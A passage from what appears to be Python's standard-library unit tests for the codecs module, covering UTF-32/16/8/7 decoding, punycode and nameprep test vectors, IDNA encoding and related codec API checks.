io.BytesIO(d) f = reader(s) self.assertEqual(f.read(), "spamspam") def test_badbom(self): s = io.BytesIO(4*b"\xff") f = codecs.getreader(self.encoding)(s) self.assertRaises(UnicodeError, f.read) s = io.BytesIO(8*b"\xff") f = codecs.getreader(self.encoding)(s) self.assertRaises(UnicodeError, f.read) def test_partial(self): self.check_partial( "\x00\xff\u0100\uffff", [ "", # first byte of BOM read "", # second byte of BOM read "", # third byte of BOM read "", # fourth byte of BOM read => byteorder known "", "", "", "\x00", "\x00", "\x00", "\x00", "\x00\xff", "\x00\xff", "\x00\xff", "\x00\xff", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100\uffff", ] ) def test_handlers(self): self.assertEqual(('\ufffd', 1), codecs.utf_32_decode(b'\x01', 'replace', True)) self.assertEqual(('', 1), codecs.utf_32_decode(b'\x01', 'ignore', True)) def test_errors(self): self.assertRaises(UnicodeDecodeError, codecs.utf_32_decode, b"\xff", "strict", True) def test_decoder_state(self): self.check_state_handling_decode(self.encoding, "spamspam", self.spamle) self.check_state_handling_decode(self.encoding, "spamspam", self.spambe) def test_issue8941(self): # Issue #8941: insufficient result allocation when decoding into # surrogate pairs on UCS-2 builds. encoded_le = b'\xff\xfe\x00\x00' + b'\x00\x00\x01\x00' * 1024 self.assertEqual('\U00010000' * 1024, codecs.utf_32_decode(encoded_le)[0]) encoded_be = b'\x00\x00\xfe\xff' + b'\x00\x01\x00\x00' * 1024 self.assertEqual('\U00010000' * 1024, codecs.utf_32_decode(encoded_be)[0]) class UTF32LETest(ReadTest): encoding = "utf-32-le" def test_partial(self): self.check_partial( "\x00\xff\u0100\uffff", [ "", "", "", "\x00", "\x00", "\x00", "\x00", "\x00\xff", "\x00\xff", "\x00\xff", "\x00\xff", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100\uffff", ] ) def test_simple(self): self.assertEqual("\U00010203".encode(self.encoding), b"\x03\x02\x01\x00") def test_errors(self): self.assertRaises(UnicodeDecodeError, codecs.utf_32_le_decode, b"\xff", "strict", True) def test_issue8941(self): # Issue #8941: insufficient result allocation when decoding into # surrogate pairs on UCS-2 builds. encoded = b'\x00\x00\x01\x00' * 1024 self.assertEqual('\U00010000' * 1024, codecs.utf_32_le_decode(encoded)[0]) class UTF32BETest(ReadTest): encoding = "utf-32-be" def test_partial(self): self.check_partial( "\x00\xff\u0100\uffff", [ "", "", "", "\x00", "\x00", "\x00", "\x00", "\x00\xff", "\x00\xff", "\x00\xff", "\x00\xff", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100\uffff", ] ) def test_simple(self): self.assertEqual("\U00010203".encode(self.encoding), b"\x00\x01\x02\x03") def test_errors(self): self.assertRaises(UnicodeDecodeError, codecs.utf_32_be_decode, b"\xff", "strict", True) def test_issue8941(self): # Issue #8941: insufficient result allocation when decoding into # surrogate pairs on UCS-2 builds. encoded = b'\x00\x01\x00\x00' * 1024 self.assertEqual('\U00010000' * 1024, codecs.utf_32_be_decode(encoded)[0]) class UTF16Test(ReadTest): encoding = "utf-16" spamle = b'\xff\xfes\x00p\x00a\x00m\x00s\x00p\x00a\x00m\x00' spambe = b'\xfe\xff\x00s\x00p\x00a\x00m\x00s\x00p\x00a\x00m' def test_only_one_bom(self): _,_,reader,writer = codecs.lookup(self.encoding) # encode some stream s = io.BytesIO() f = writer(s) f.write("spam") f.write("spam") d = s.getvalue() # check whether there is exactly one BOM in it self.assertTrue(d == self.spamle or d == self.spambe) # try to read it back s = io.BytesIO(d) f = reader(s) self.assertEqual(f.read(), "spamspam") def test_badbom(self): s = io.BytesIO(b"\xff\xff") f = codecs.getreader(self.encoding)(s) self.assertRaises(UnicodeError, f.read) s = io.BytesIO(b"\xff\xff\xff\xff") f = codecs.getreader(self.encoding)(s) self.assertRaises(UnicodeError, f.read) def test_partial(self): self.check_partial( "\x00\xff\u0100\uffff", [ "", # first byte of BOM read "", # second byte of BOM read => byteorder known "", "\x00", "\x00", "\x00\xff", "\x00\xff", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100\uffff", ] ) def test_handlers(self): self.assertEqual(('\ufffd', 1), codecs.utf_16_decode(b'\x01', 'replace', True)) self.assertEqual(('', 1), codecs.utf_16_decode(b'\x01', 'ignore', True)) def test_errors(self): self.assertRaises(UnicodeDecodeError, codecs.utf_16_decode, b"\xff", "strict", True) def test_decoder_state(self): self.check_state_handling_decode(self.encoding, "spamspam", self.spamle) self.check_state_handling_decode(self.encoding, "spamspam", self.spambe) def test_bug691291(self): # Files are always opened in binary mode, even if no binary mode was # specified. This means that no automatic conversion of '\n' is done # on reading and writing. s1 = 'Hello\r\nworld\r\n' s = s1.encode(self.encoding) self.addCleanup(support.unlink, support.TESTFN) with open(support.TESTFN, 'wb') as fp: fp.write(s) with codecs.open(support.TESTFN, 'U', encoding=self.encoding) as reader: self.assertEqual(reader.read(), s1) class UTF16LETest(ReadTest): encoding = "utf-16-le" def test_partial(self): self.check_partial( "\x00\xff\u0100\uffff", [ "", "\x00", "\x00", "\x00\xff", "\x00\xff", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100\uffff", ] ) def test_errors(self): self.assertRaises(UnicodeDecodeError, codecs.utf_16_le_decode, b"\xff", "strict", True) def test_nonbmp(self): self.assertEqual("\U00010203".encode(self.encoding), b'\x00\xd8\x03\xde') self.assertEqual(b'\x00\xd8\x03\xde'.decode(self.encoding), "\U00010203") class UTF16BETest(ReadTest): encoding = "utf-16-be" def test_partial(self): self.check_partial( "\x00\xff\u0100\uffff", [ "", "\x00", "\x00", "\x00\xff", "\x00\xff", "\x00\xff\u0100", "\x00\xff\u0100", "\x00\xff\u0100\uffff", ] ) def test_errors(self): self.assertRaises(UnicodeDecodeError, codecs.utf_16_be_decode, b"\xff", "strict", True) def test_nonbmp(self): self.assertEqual("\U00010203".encode(self.encoding), b'\xd8\x00\xde\x03') self.assertEqual(b'\xd8\x00\xde\x03'.decode(self.encoding), "\U00010203") class UTF8Test(ReadTest): encoding = "utf-8" def test_partial(self): self.check_partial( "\x00\xff\u07ff\u0800\uffff", [ "\x00", "\x00", "\x00\xff", "\x00\xff", "\x00\xff\u07ff", "\x00\xff\u07ff", "\x00\xff\u07ff", "\x00\xff\u07ff\u0800", "\x00\xff\u07ff\u0800", "\x00\xff\u07ff\u0800", "\x00\xff\u07ff\u0800\uffff", ] ) def test_decoder_state(self): u = "\x00\x7f\x80\xff\u0100\u07ff\u0800\uffff\U0010ffff" self.check_state_handling_decode(self.encoding, u, u.encode(self.encoding)) def test_lone_surrogates(self): self.assertRaises(UnicodeEncodeError, "\ud800".encode, "utf-8") self.assertRaises(UnicodeDecodeError, b"\xed\xa0\x80".decode, "utf-8") self.assertEqual("[\uDC80]".encode("utf-8", "backslashreplace"), b'[\\udc80]') self.assertEqual("[\uDC80]".encode("utf-8", "xmlcharrefreplace"), b'[&#56448;]') self.assertEqual("[\uDC80]".encode("utf-8", "surrogateescape"), b'[\x80]') self.assertEqual("[\uDC80]".encode("utf-8", "ignore"), b'[]') self.assertEqual("[\uDC80]".encode("utf-8", "replace"), b'[?]') def test_surrogatepass_handler(self): self.assertEqual("abc\ud800def".encode("utf-8", "surrogatepass"), b"abc\xed\xa0\x80def") self.assertEqual(b"abc\xed\xa0\x80def".decode("utf-8", "surrogatepass"), "abc\ud800def") self.assertTrue(codecs.lookup_error("surrogatepass")) class UTF7Test(ReadTest): encoding = "utf-7" def test_partial(self): self.check_partial( "a+-b", [ "a", "a", "a+", "a+-", "a+-b", ] ) class UTF16ExTest(unittest.TestCase): def test_errors(self): self.assertRaises(UnicodeDecodeError, codecs.utf_16_ex_decode, b"\xff", "strict", 0, True) def test_bad_args(self): self.assertRaises(TypeError, codecs.utf_16_ex_decode) class ReadBufferTest(unittest.TestCase): def test_array(self): import array self.assertEqual( codecs.readbuffer_encode(array.array("b", b"spam")), (b"spam", 4) ) def test_empty(self): self.assertEqual(codecs.readbuffer_encode(""), (b"", 0)) def test_bad_args(self): self.assertRaises(TypeError, codecs.readbuffer_encode) self.assertRaises(TypeError, codecs.readbuffer_encode, 42) class UTF8SigTest(ReadTest): encoding = "utf-8-sig" def test_partial(self): self.check_partial( "\ufeff\x00\xff\u07ff\u0800\uffff", [ "", "", "", # First BOM has been read and skipped "", "", "\ufeff", # Second BOM has been read and emitted "\ufeff\x00", # "\x00" read and emitted "\ufeff\x00", # First byte of encoded "\xff" read "\ufeff\x00\xff", # Second byte of encoded "\xff" read "\ufeff\x00\xff", # First byte of encoded "\u07ff" read "\ufeff\x00\xff\u07ff", # Second byte of encoded "\u07ff" read "\ufeff\x00\xff\u07ff", "\ufeff\x00\xff\u07ff", "\ufeff\x00\xff\u07ff\u0800", "\ufeff\x00\xff\u07ff\u0800", "\ufeff\x00\xff\u07ff\u0800", "\ufeff\x00\xff\u07ff\u0800\uffff", ] ) def test_bug1601501(self): # SF bug #1601501: check that the codec works with a buffer self.assertEqual(str(b"\xef\xbb\xbf", "utf-8-sig"), "") def test_bom(self): d = codecs.getincrementaldecoder("utf-8-sig")() s = "spam" self.assertEqual(d.decode(s.encode("utf-8-sig")), s) def test_stream_bom(self): unistring = "ABC\u00A1\u2200XYZ" bytestring = codecs.BOM_UTF8 + b"ABC\xC2\xA1\xE2\x88\x80XYZ" reader = codecs.getreader("utf-8-sig") for sizehint in [None] + list(range(1, 11)) + \ [64, 128, 256, 512, 1024]: istream = reader(io.BytesIO(bytestring)) ostream = io.StringIO() while 1: if sizehint is not None: data = istream.read(sizehint) else: data = istream.read() if not data: break ostream.write(data) got = ostream.getvalue() self.assertEqual(got, unistring) def test_stream_bare(self): unistring = "ABC\u00A1\u2200XYZ" bytestring = b"ABC\xC2\xA1\xE2\x88\x80XYZ" reader = codecs.getreader("utf-8-sig") for sizehint in [None] + list(range(1, 11)) + \ [64, 128, 256, 512, 1024]: istream = reader(io.BytesIO(bytestring)) ostream = io.StringIO() while 1: if sizehint is not None: data = istream.read(sizehint) else: data = istream.read() if not data: break ostream.write(data) got = ostream.getvalue() self.assertEqual(got, unistring) class EscapeDecodeTest(unittest.TestCase): def test_empty(self): self.assertEqual(codecs.escape_decode(""), ("", 0)) class RecodingTest(unittest.TestCase): def test_recoding(self): f = io.BytesIO() f2 = codecs.EncodedFile(f, "unicode_internal", "utf-8") f2.write("a") f2.close() # Python used to crash on this at exit because of a refcount # bug in _codecsmodule.c # From RFC 3492 punycode_testcases = [ # A Arabic (Egyptian): ("\u0644\u064A\u0647\u0645\u0627\u0628\u062A\u0643\u0644" "\u0645\u0648\u0634\u0639\u0631\u0628\u064A\u061F", b"egbpdaj6bu4bxfgehfvwxn"), # B Chinese (simplified): ("\u4ED6\u4EEC\u4E3A\u4EC0\u4E48\u4E0D\u8BF4\u4E2D\u6587", b"ihqwcrb4cv8a8dqg056pqjye"), # C Chinese (traditional): ("\u4ED6\u5011\u7232\u4EC0\u9EBD\u4E0D\u8AAA\u4E2D\u6587", b"ihqwctvzc91f659drss3x8bo0yb"), # D Czech: Pro<ccaron>prost<ecaron>nemluv<iacute><ccaron>esky ("\u0050\u0072\u006F\u010D\u0070\u0072\u006F\u0073\u0074" "\u011B\u006E\u0065\u006D\u006C\u0075\u0076\u00ED\u010D" "\u0065\u0073\u006B\u0079", b"Proprostnemluvesky-uyb24dma41a"), # E Hebrew: ("\u05DC\u05DE\u05D4\u05D4\u05DD\u05E4\u05E9\u05D5\u05D8" "\u05DC\u05D0\u05DE\u05D3\u05D1\u05E8\u05D9\u05DD\u05E2" "\u05D1\u05E8\u05D9\u05EA", b"4dbcagdahymbxekheh6e0a7fei0b"), # F Hindi (Devanagari): ("\u092F\u0939\u0932\u094B\u0917\u0939\u093F\u0928\u094D" "\u0926\u0940\u0915\u094D\u092F\u094B\u0902\u0928\u0939" "\u0940\u0902\u092C\u094B\u0932\u0938\u0915\u0924\u0947" "\u0939\u0948\u0902", b"i1baa7eci9glrd9b2ae1bj0hfcgg6iyaf8o0a1dig0cd"), #(G) Japanese (kanji and hiragana): ("\u306A\u305C\u307F\u3093\u306A\u65E5\u672C\u8A9E\u3092" "\u8A71\u3057\u3066\u304F\u308C\u306A\u3044\u306E\u304B", b"n8jok5ay5dzabd5bym9f0cm5685rrjetr6pdxa"), # (H) Korean (Hangul syllables): ("\uC138\uACC4\uC758\uBAA8\uB4E0\uC0AC\uB78C\uB4E4\uC774" "\uD55C\uAD6D\uC5B4\uB97C\uC774\uD574\uD55C\uB2E4\uBA74" "\uC5BC\uB9C8\uB098\uC88B\uC744\uAE4C", b"989aomsvi5e83db1d2a355cv1e0vak1dwrv93d5xbh15a0dt30a5j" b"psd879ccm6fea98c"), # (I) Russian (Cyrillic): ("\u043F\u043E\u0447\u0435\u043C\u0443\u0436\u0435\u043E" "\u043D\u0438\u043D\u0435\u0433\u043E\u0432\u043E\u0440" "\u044F\u0442\u043F\u043E\u0440\u0443\u0441\u0441\u043A" "\u0438", b"b1abfaaepdrnnbgefbaDotcwatmq2g4l"), # (J) Spanish: Porqu<eacute>nopuedensimplementehablarenEspa<ntilde>ol ("\u0050\u006F\u0072\u0071\u0075\u00E9\u006E\u006F\u0070" "\u0075\u0065\u0064\u0065\u006E\u0073\u0069\u006D\u0070" "\u006C\u0065\u006D\u0065\u006E\u0074\u0065\u0068\u0061" "\u0062\u006C\u0061\u0072\u0065\u006E\u0045\u0073\u0070" "\u0061\u00F1\u006F\u006C", b"PorqunopuedensimplementehablarenEspaol-fmd56a"), # (K) Vietnamese: # T<adotbelow>isaoh<odotbelow>kh<ocirc>ngth<ecirchookabove>ch\ # <ihookabove>n<oacute>iti<ecircacute>ngVi<ecircdotbelow>t ("\u0054\u1EA1\u0069\u0073\u0061\u006F\u0068\u1ECD\u006B" "\u0068\u00F4\u006E\u0067\u0074\u0068\u1EC3\u0063\u0068" "\u1EC9\u006E\u00F3\u0069\u0074\u0069\u1EBF\u006E\u0067" "\u0056\u0069\u1EC7\u0074", b"TisaohkhngthchnitingVit-kjcr8268qyxafd2f1b9g"), #(L) 3<nen>B<gumi><kinpachi><sensei> ("\u0033\u5E74\u0042\u7D44\u91D1\u516B\u5148\u751F", b"3B-ww4c5e180e575a65lsy2b"), # (M) <amuro><namie>-with-SUPER-MONKEYS ("\u5B89\u5BA4\u5948\u7F8E\u6075\u002D\u0077\u0069\u0074" "\u0068\u002D\u0053\u0055\u0050\u0045\u0052\u002D\u004D" "\u004F\u004E\u004B\u0045\u0059\u0053", b"-with-SUPER-MONKEYS-pc58ag80a8qai00g7n9n"), # (N) Hello-Another-Way-<sorezore><no><basho> ("\u0048\u0065\u006C\u006C\u006F\u002D\u0041\u006E\u006F" "\u0074\u0068\u0065\u0072\u002D\u0057\u0061\u0079\u002D" "\u305D\u308C\u305E\u308C\u306E\u5834\u6240", b"Hello-Another-Way--fc4qua05auwb3674vfr0b"), # (O) <hitotsu><yane><no><shita>2 ("\u3072\u3068\u3064\u5C4B\u6839\u306E\u4E0B\u0032", b"2-u9tlzr9756bt3uc0v"), # (P) Maji<de>Koi<suru>5<byou><mae> ("\u004D\u0061\u006A\u0069\u3067\u004B\u006F\u0069\u3059" "\u308B\u0035\u79D2\u524D", b"MajiKoi5-783gue6qz075azm5e"), # (Q) <pafii>de<runba> ("\u30D1\u30D5\u30A3\u30FC\u0064\u0065\u30EB\u30F3\u30D0", b"de-jg4avhby1noc0d"), # (R) <sono><supiido><de> ("\u305D\u306E\u30B9\u30D4\u30FC\u30C9\u3067", b"d9juau41awczczp"), # (S) -> $1.00 <- ("\u002D\u003E\u0020\u0024\u0031\u002E\u0030\u0030\u0020" "\u003C\u002D", b"-> $1.00 <--") ] for i in punycode_testcases: if len(i)!=2: print(repr(i)) class PunycodeTest(unittest.TestCase): def test_encode(self): for uni, puny in punycode_testcases: # Need to convert both strings to lower case, since # some of the extended encodings use upper case, but our # code produces only lower case. Converting just puny to # lower is also insufficient, since some of the input characters # are upper case. self.assertEqual( str(uni.encode("punycode"), "ascii").lower(), str(puny, "ascii").lower() ) def test_decode(self): for uni, puny in punycode_testcases: self.assertEqual(uni, puny.decode("punycode")) puny = puny.decode("ascii").encode("ascii") self.assertEqual(uni, puny.decode("punycode")) class UnicodeInternalTest(unittest.TestCase): def test_bug1251300(self): # Decoding with unicode_internal used to not correctly handle "code # points" above 0x10ffff on UCS-4 builds. if sys.maxunicode > 0xffff: ok = [ (b"\x00\x10\xff\xff", "\U0010ffff"), (b"\x00\x00\x01\x01", "\U00000101"), (b"", ""), ] not_ok = [ b"\x7f\xff\xff\xff", b"\x80\x00\x00\x00", b"\x81\x00\x00\x00", b"\x00", b"\x00\x00\x00\x00\x00", ] for internal, uni in ok: if sys.byteorder == "little": internal = bytes(reversed(internal)) self.assertEqual(uni, internal.decode("unicode_internal")) for internal in not_ok: if sys.byteorder == "little": internal = bytes(reversed(internal)) self.assertRaises(UnicodeDecodeError, internal.decode, "unicode_internal") def test_decode_error_attributes(self): if sys.maxunicode > 0xffff: try: b"\x00\x00\x00\x00\x00\x11\x11\x00".decode("unicode_internal") except UnicodeDecodeError as ex: self.assertEqual("unicode_internal", ex.encoding) self.assertEqual(b"\x00\x00\x00\x00\x00\x11\x11\x00", ex.object) self.assertEqual(4, ex.start) self.assertEqual(8, ex.end) else: self.fail() def test_decode_callback(self): if sys.maxunicode > 0xffff: codecs.register_error("UnicodeInternalTest", codecs.ignore_errors) decoder = codecs.getdecoder("unicode_internal") ab = "ab".encode("unicode_internal").decode() ignored = decoder(bytes("%s\x22\x22\x22\x22%s" % (ab[:4], ab[4:]), "ascii"), "UnicodeInternalTest") self.assertEqual(("ab", 12), ignored) def test_encode_length(self): # Issue 3739 encoder = codecs.getencoder("unicode_internal") self.assertEqual(encoder("a")[1], 1) self.assertEqual(encoder("\xe9\u0142")[1], 2) self.assertEqual(codecs.escape_encode(br'\x00')[1], 4) # From http://www.gnu.org/software/libidn/draft-josefsson-idn-test-vectors.html nameprep_tests = [ # 3.1 Map to nothing. (b'foo\xc2\xad\xcd\x8f\xe1\xa0\x86\xe1\xa0\x8bbar' b'\xe2\x80\x8b\xe2\x81\xa0baz\xef\xb8\x80\xef\xb8\x88\xef' b'\xb8\x8f\xef\xbb\xbf', b'foobarbaz'), # 3.2 Case folding ASCII U+0043 U+0041 U+0046 U+0045. (b'CAFE', b'cafe'), # 3.3 Case folding 8bit U+00DF (german sharp s). # The original test case is bogus; it says \xc3\xdf (b'\xc3\x9f', b'ss'), # 3.4 Case folding U+0130 (turkish capital I with dot). (b'\xc4\xb0', b'i\xcc\x87'), # 3.5 Case folding multibyte U+0143 U+037A. (b'\xc5\x83\xcd\xba', b'\xc5\x84 \xce\xb9'), # 3.6 Case folding U+2121 U+33C6 U+1D7BB. # XXX: skip this as it fails in UCS-2 mode #('\xe2\x84\xa1\xe3\x8f\x86\xf0\x9d\x9e\xbb', # 'telc\xe2\x88\x95kg\xcf\x83'), (None, None), # 3.7 Normalization of U+006a U+030c U+00A0 U+00AA. (b'j\xcc\x8c\xc2\xa0\xc2\xaa', b'\xc7\xb0 a'), # 3.8 Case folding U+1FB7 and normalization. (b'\xe1\xbe\xb7', b'\xe1\xbe\xb6\xce\xb9'), # 3.9 Self-reverting case folding U+01F0 and normalization. # The original test case is bogus, it says `\xc7\xf0' (b'\xc7\xb0', b'\xc7\xb0'), # 3.10 Self-reverting case folding U+0390 and normalization. (b'\xce\x90', b'\xce\x90'), # 3.11 Self-reverting case folding U+03B0 and normalization. (b'\xce\xb0', b'\xce\xb0'), # 3.12 Self-reverting case folding U+1E96 and normalization. (b'\xe1\xba\x96', b'\xe1\xba\x96'), # 3.13 Self-reverting case folding U+1F56 and normalization. (b'\xe1\xbd\x96', b'\xe1\xbd\x96'), # 3.14 ASCII space character U+0020. (b' ', b' '), # 3.15 Non-ASCII 8bit space character U+00A0. (b'\xc2\xa0', b' '), # 3.16 Non-ASCII multibyte space character U+1680. (b'\xe1\x9a\x80', None), # 3.17 Non-ASCII multibyte space character U+2000. (b'\xe2\x80\x80', b' '), # 3.18 Zero Width Space U+200b. (b'\xe2\x80\x8b', b''), # 3.19 Non-ASCII multibyte space character U+3000. (b'\xe3\x80\x80', b' '), # 3.20 ASCII control characters U+0010 U+007F. (b'\x10\x7f', b'\x10\x7f'), # 3.21 Non-ASCII 8bit control character U+0085. (b'\xc2\x85', None), # 3.22 Non-ASCII multibyte control character U+180E. (b'\xe1\xa0\x8e', None), # 3.23 Zero Width No-Break Space U+FEFF. (b'\xef\xbb\xbf', b''), # 3.24 Non-ASCII control character U+1D175. (b'\xf0\x9d\x85\xb5', None), # 3.25 Plane 0 private use character U+F123. (b'\xef\x84\xa3', None), # 3.26 Plane 15 private use character U+F1234. (b'\xf3\xb1\x88\xb4', None), # 3.27 Plane 16 private use character U+10F234. (b'\xf4\x8f\x88\xb4', None), # 3.28 Non-character code point U+8FFFE. (b'\xf2\x8f\xbf\xbe', None), # 3.29 Non-character code point U+10FFFF. (b'\xf4\x8f\xbf\xbf', None), # 3.30 Surrogate code U+DF42. (b'\xed\xbd\x82', None), # 3.31 Non-plain text character U+FFFD. (b'\xef\xbf\xbd', None), # 3.32 Ideographic description character U+2FF5. (b'\xe2\xbf\xb5', None), # 3.33 Display property character U+0341. (b'\xcd\x81', b'\xcc\x81'), # 3.34 Left-to-right mark U+200E. (b'\xe2\x80\x8e', None), # 3.35 Deprecated U+202A. (b'\xe2\x80\xaa', None), # 3.36 Language tagging character U+E0001. (b'\xf3\xa0\x80\x81', None), # 3.37 Language tagging character U+E0042. (b'\xf3\xa0\x81\x82', None), # 3.38 Bidi: RandALCat character U+05BE and LCat characters. (b'foo\xd6\xbebar', None), # 3.39 Bidi: RandALCat character U+FD50 and LCat characters. (b'foo\xef\xb5\x90bar', None), # 3.40 Bidi: RandALCat character U+FB38 and LCat characters. (b'foo\xef\xb9\xb6bar', b'foo \xd9\x8ebar'), # 3.41 Bidi: RandALCat without trailing RandALCat U+0627 U+0031. (b'\xd8\xa71', None), # 3.42 Bidi: RandALCat character U+0627 U+0031 U+0628. (b'\xd8\xa71\xd8\xa8', b'\xd8\xa71\xd8\xa8'), # 3.43 Unassigned code point U+E0002. # Skip this test as we allow unassigned #(b'\xf3\xa0\x80\x82', # None), (None, None), # 3.44 Larger test (shrinking). # Original test case reads \xc3\xdf (b'X\xc2\xad\xc3\x9f\xc4\xb0\xe2\x84\xa1j\xcc\x8c\xc2\xa0\xc2' b'\xaa\xce\xb0\xe2\x80\x80', b'xssi\xcc\x87tel\xc7\xb0 a\xce\xb0 '), # 3.45 Larger test (expanding). # Original test case reads \xc3\x9f (b'X\xc3\x9f\xe3\x8c\x96\xc4\xb0\xe2\x84\xa1\xe2\x92\x9f\xe3\x8c' b'\x80', b'xss\xe3\x82\xad\xe3\x83\xad\xe3\x83\xa1\xe3\x83\xbc\xe3' b'\x83\x88\xe3\x83\xabi\xcc\x87tel\x28d\x29\xe3\x82' b'\xa2\xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88') ] class NameprepTest(unittest.TestCase): def test_nameprep(self): from encodings.idna import nameprep for pos, (orig, prepped) in enumerate(nameprep_tests): if orig is None: # Skipped continue # The Unicode strings are given in UTF-8 orig = str(orig, "utf-8", "surrogatepass") if prepped is None: # Input contains prohibited characters self.assertRaises(UnicodeError, nameprep, orig) else: prepped = str(prepped, "utf-8", "surrogatepass") try: self.assertEqual(nameprep(orig), prepped) except Exception as e: raise support.TestFailed("Test 3.%d: %s" % (pos+1, str(e))) class IDNACodecTest(unittest.TestCase): def test_builtin_decode(self): self.assertEqual(str(b"python.org", "idna"), "python.org") self.assertEqual(str(b"python.org.", "idna"), "python.org.") self.assertEqual(str(b"xn--pythn-mua.org", "idna"), "pyth\xf6n.org") self.assertEqual(str(b"xn--pythn-mua.org.", "idna"), "pyth\xf6n.org.") def test_builtin_encode(self): self.assertEqual("python.org".encode("idna"), b"python.org") self.assertEqual("python.org.".encode("idna"), b"python.org.") self.assertEqual("pyth\xf6n.org".encode("idna"), b"xn--pythn-mua.org") self.assertEqual("pyth\xf6n.org.".encode("idna"), b"xn--pythn-mua.org.") def test_stream(self): r = codecs.getreader("idna")(io.BytesIO(b"abc")) r.read(3) self.assertEqual(r.read(), "") def test_incremental_decode(self): self.assertEqual( "".join(codecs.iterdecode((bytes([c]) for c in b"python.org"), "idna")), "python.org" ) self.assertEqual( "".join(codecs.iterdecode((bytes([c]) for c in b"python.org."), "idna")), "python.org." ) self.assertEqual( "".join(codecs.iterdecode((bytes([c]) for c in b"xn--pythn-mua.org."), "idna")), "pyth\xf6n.org." ) self.assertEqual( "".join(codecs.iterdecode((bytes([c]) for c in b"xn--pythn-mua.org."), "idna")), "pyth\xf6n.org." ) decoder = codecs.getincrementaldecoder("idna")() self.assertEqual(decoder.decode(b"xn--xam", ), "") self.assertEqual(decoder.decode(b"ple-9ta.o", ), "\xe4xample.") self.assertEqual(decoder.decode(b"rg"), "") self.assertEqual(decoder.decode(b"", True), "org") decoder.reset() self.assertEqual(decoder.decode(b"xn--xam", ), "") self.assertEqual(decoder.decode(b"ple-9ta.o", ), "\xe4xample.") self.assertEqual(decoder.decode(b"rg."), "org.") self.assertEqual(decoder.decode(b"", True), "") def test_incremental_encode(self): self.assertEqual( b"".join(codecs.iterencode("python.org", "idna")), b"python.org" ) self.assertEqual( b"".join(codecs.iterencode("python.org.", "idna")), b"python.org." ) self.assertEqual( b"".join(codecs.iterencode("pyth\xf6n.org.", "idna")), b"xn--pythn-mua.org." ) self.assertEqual( b"".join(codecs.iterencode("pyth\xf6n.org.", "idna")), b"xn--pythn-mua.org." ) encoder = codecs.getincrementalencoder("idna")() self.assertEqual(encoder.encode("\xe4x"), b"") self.assertEqual(encoder.encode("ample.org"), b"xn--xample-9ta.") self.assertEqual(encoder.encode("", True), b"org") encoder.reset() self.assertEqual(encoder.encode("\xe4x"), b"") self.assertEqual(encoder.encode("ample.org."), b"xn--xample-9ta.org.") self.assertEqual(encoder.encode("", True), b"") class CodecsModuleTest(unittest.TestCase): def test_decode(self): self.assertEqual(codecs.decode(b'\xe4\xf6\xfc', 'latin-1'), '\xe4\xf6\xfc') self.assertRaises(TypeError, codecs.decode) self.assertEqual(codecs.decode(b'abc'), 'abc') self.assertRaises(UnicodeDecodeError, codecs.decode, b'\xff', 'ascii') def test_encode(self): self.assertEqual(codecs.encode('\xe4\xf6\xfc', 'latin-1'), b'\xe4\xf6\xfc') self.assertRaises(TypeError, codecs.encode) self.assertRaises(LookupError, codecs.encode, "foo", "__spam__") self.assertEqual(codecs.encode('abc'), b'abc') self.assertRaises(UnicodeEncodeError, codecs.encode, '\xffff', 'ascii') def test_register(self): self.assertRaises(TypeError, codecs.register) self.assertRaises(TypeError, codecs.register, 42) def test_lookup(self): self.assertRaises(TypeError, codecs.lookup) self.assertRaises(LookupError, codecs.lookup, "__spam__") self.assertRaises(LookupError, codecs.lookup, " ") def test_getencoder(self): self.assertRaises(TypeError, codecs.getencoder) self.assertRaises(LookupError, codecs.getencoder, "__spam__") def test_getdecoder(self): self.assertRaises(TypeError, codecs.getdecoder) self.assertRaises(LookupError, codecs.getdecoder, "__spam__") def test_getreader(self): self.assertRaises(TypeError, codecs.getreader) self.assertRaises(LookupError, codecs.getreader, "__spam__") def test_getwriter(self): self.assertRaises(TypeError, codecs.getwriter) self.assertRaises(LookupError, codecs.getwriter, "__spam__") def test_lookup_issue1813(self): # Issue #1813: under Turkish locales, lookup of some codecs failed # because 'I' is lowercased as "ı" (dotless i) oldlocale = locale.setlocale(locale.LC_CTYPE) self.addCleanup(locale.setlocale, locale.LC_CTYPE, oldlocale) try: locale.setlocale(locale.LC_CTYPE, 'tr_TR') except locale.Error: # Unsupported locale on this system self.skipTest('test needs Turkish locale') c = codecs.lookup('ASCII') self.assertEqual(c.name, 'ascii') class StreamReaderTest(unittest.TestCase): def setUp(self): self.reader = codecs.getreader('utf-8') self.stream = io.BytesIO(b'\xed\x95\x9c\n\xea\xb8\x80') def test_readlines(self): f = self.reader(self.stream) self.assertEqual(f.readlines(), ['\ud55c\n', '\uae00']) class EncodedFileTest(unittest.TestCase): def test_basic(self): f = io.BytesIO(b'\xed\x95\x9c\n\xea\xb8\x80') ef = codecs.EncodedFile(f, 'utf-16-le', 'utf-8') self.assertEqual(ef.read(), b'\\\xd5\n\x00\x00\xae') f = io.BytesIO() ef = codecs.EncodedFile(f, 'utf-8', 'latin1') ef.write(b'\xc3\xbc') self.assertEqual(f.getvalue(), b'\xfc') all_unicode_encodings = [ "ascii", "big5", "big5hkscs", "charmap", "cp037", "cp1006", "cp1026", "cp1140", "cp1250", "cp1251", "cp1252", "cp1253", "cp1254", "cp1255", "cp1256", "cp1257", "cp1258", "cp424", "cp437", "cp500", "cp720", "cp737", "cp775", "cp850", "cp852", "cp855", "cp856", "cp857", "cp858", "cp860", "cp861", "cp862", "cp863", "cp864", "cp865", "cp866", "cp869", "cp874", "cp875", "cp932", "cp949", "cp950", "euc_jis_2004", "euc_jisx0213", "euc_jp", "euc_kr", "gb18030", "gb2312", "gbk", "hp_roman8", "hz", "idna", "iso2022_jp", "iso2022_jp_1", "iso2022_jp_2", "iso2022_jp_2004", "iso2022_jp_3", "iso2022_jp_ext", "iso2022_kr", "iso8859_1", "iso8859_10", "iso8859_11", "iso8859_13", "iso8859_14", "iso8859_15", "iso8859_16", "iso8859_2", "iso8859_3", "iso8859_4", "iso8859_5", "iso8859_6", "iso8859_7", "iso8859_8", "iso8859_9", "johab", "koi8_r", "koi8_u", "latin_1", "mac_cyrillic", 